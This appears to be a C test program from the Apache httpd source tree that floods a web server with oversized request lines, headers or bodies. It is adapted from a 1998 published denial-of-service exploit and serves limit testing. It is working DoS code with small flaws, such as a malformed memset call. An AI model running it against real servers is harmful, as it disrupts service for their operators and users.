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apache-httpd/test/test_limits.c
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/************************************************************** | |
* test_limits.c | |
* | |
* A simple program for sending abusive requests to a server, based | |
* on the sioux.c exploit code that this nimrod posted (see below). | |
* Roy added options for testing long header fieldsize (-t h), long | |
* request-lines (-t r), and a long request body (-t b). | |
* | |
* FreeBSD 2.2.x, FreeBSD 3.0, IRIX 5.3, IRIX 6.2: | |
* gcc -o test_limits test_limits.c | |
* | |
* Solaris 2.5.1: | |
* gcc -o test_limits test_limits.c -lsocket -lnsl | |
* | |
* | |
* Message-ID: <861zqspvtw.fsf@niobe.ewox.org> | |
* Date: Fri, 7 Aug 1998 19:04:27 +0200 | |
* Sender: Bugtraq List <BUGTRAQ@netspace.org> | |
* From: Dag-Erling Coidan =?ISO-8859-1?Q?Sm=F8rgrav?= <finrod@EWOX.ORG> | |
* Subject: YA Apache DoS attack | |
* | |
* Copyright (c) 1998 Dag-Erling Codan Smrgrav | |
* All rights reserved. | |
* | |
* Redistribution and use in source and binary forms, with or without | |
* modification, are permitted provided that the following conditions | |
* are met: | |
* 1. Redistributions of source code must retain the above copyright | |
* notice, this list of conditions and the following disclaimer | |
* in this position and unchanged. | |
* 2. Redistributions in binary form must reproduce the above copyright | |
* notice, this list of conditions and the following disclaimer in the | |
* documentation and/or other materials provided with the distribution. | |
* 3. The name of the author may not be used to endorse or promote products | |
* derived from this software withough specific prior written permission | |
* | |
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR | |
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES | |
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. | |
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, | |
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT | |
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, | |
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY | |
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT | |
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF | |
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. | |
* | |
*/ | |
/* | |
* Kudos to Mark Huizer who originally suggested this on freebsd-current | |
*/ | |
#include <sys/types.h> | |
#include <sys/uio.h> | |
#include <sys/socket.h> | |
#include <netinet/in.h> | |
#include <netdb.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#define TEST_LONG_REQUEST_LINE 1 | |
#define TEST_LONG_REQUEST_FIELDS 2 | |
#define TEST_LONG_REQUEST_FIELDSIZE 3 | |
#define TEST_LONG_REQUEST_BODY 4 | |
void | |
usage(void) | |
{ | |
fprintf(stderr, | |
"usage: test_limits [-t (r|n|h|b)] [-a address] [-p port] [-n num]\n"); | |
exit(1); | |
} | |
int | |
main(int argc, char *argv[]) | |
{ | |
struct sockaddr_in sin; | |
struct hostent *he; | |
FILE *f; | |
int o, sd; | |
/* default parameters */ | |
char *addr = "localhost"; | |
int port = 80; | |
int num = 1000; | |
int testtype = TEST_LONG_REQUEST_FIELDS; | |
/* get options */ | |
while ((o = getopt(argc, argv, "t:a:p:n:")) != EOF) | |
switch (o) { | |
case 't': | |
if (*optarg == 'r') | |
testtype = TEST_LONG_REQUEST_LINE; | |
else if (*optarg == 'n') | |
testtype = TEST_LONG_REQUEST_FIELDS; | |
else if (*optarg == 'h') | |
testtype = TEST_LONG_REQUEST_FIELDSIZE; | |
else if (*optarg == 'b') | |
testtype = TEST_LONG_REQUEST_BODY; | |
break; | |
case 'a': | |
addr = optarg; | |
break; | |
case 'p': | |
port = atoi(optarg); | |
break; | |
case 'n': | |
num = atoi(optarg); | |
break; | |
default: | |
usage(); | |
} | |
if (argc != optind) | |
usage(); | |
/* connect */ | |
if ((he = gethostbyname(addr)) == NULL) { | |
perror("gethostbyname"); | |
exit(1); | |
} | |
memset(&sin, sizeof(sin)); | |
memcpy((char *)&sin.sin_addr, he->h_addr, he->h_length); | |
sin.sin_family = he->h_addrtype; | |
sin.sin_port = htons(port); | |
if ((sd = socket(sin.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) { | |
perror("socket"); | |
exit(1); | |
} | |
if (connect(sd, (struct sockaddr *)&sin, sizeof(sin)) == -1) { | |
perror("connect"); | |
exit(1); | |
} | |
if ((f = fdopen(sd, "r+")) == NULL) { | |
perror("fdopen"); | |
exit(1); | |
} | |
/* attack! */ | |
fprintf(stderr, "Testing like a plague of locusts on %s\n", addr); | |
if (testtype == TEST_LONG_REQUEST_LINE) { | |
fprintf(f, "GET "); | |
while (num-- && !ferror(f)) { | |
fprintf(f, "/123456789"); | |
fflush(f); | |
} | |
fprintf(f, " HTTP/1.0\r\n\r\n"); | |
} | |
else { | |
fprintf(f, "GET /fred/foo HTTP/1.0\r\n"); | |
if (testtype == TEST_LONG_REQUEST_FIELDSIZE) { | |
while (num-- && !ferror(f)) { | |
fprintf(f, "User-Agent: sioux"); | |
fflush(f); | |
} | |
fprintf(f, "\r\n"); | |
} | |
else if (testtype == TEST_LONG_REQUEST_FIELDS) { | |
while (num-- && !ferror(f)) | |
fprintf(f, "User-Agent: sioux\r\n"); | |
fprintf(f, "\r\n"); | |
} | |
else if (testtype == TEST_LONG_REQUEST_BODY) { | |
fprintf(f, "User-Agent: sioux\r\n"); | |
fprintf(f, "Content-Length: 33554433\r\n"); | |
fprintf(f, "\r\n"); | |
while (num-- && !ferror(f)) | |
fprintf(f, "User-Agent: sioux\r\n"); | |
} | |
else { | |
fprintf(f, "\r\n"); | |
} | |
} | |
fflush(f); | |
{ | |
apr_ssize_t len; | |
char buff[512]; | |
while ((len = read(sd, buff, 512)) > 0) | |
len = write(1, buff, len); | |
} | |
if (ferror(f)) { | |
perror("fprintf"); | |
exit(1); | |
} | |
fclose(f); | |
exit(0); | |
} |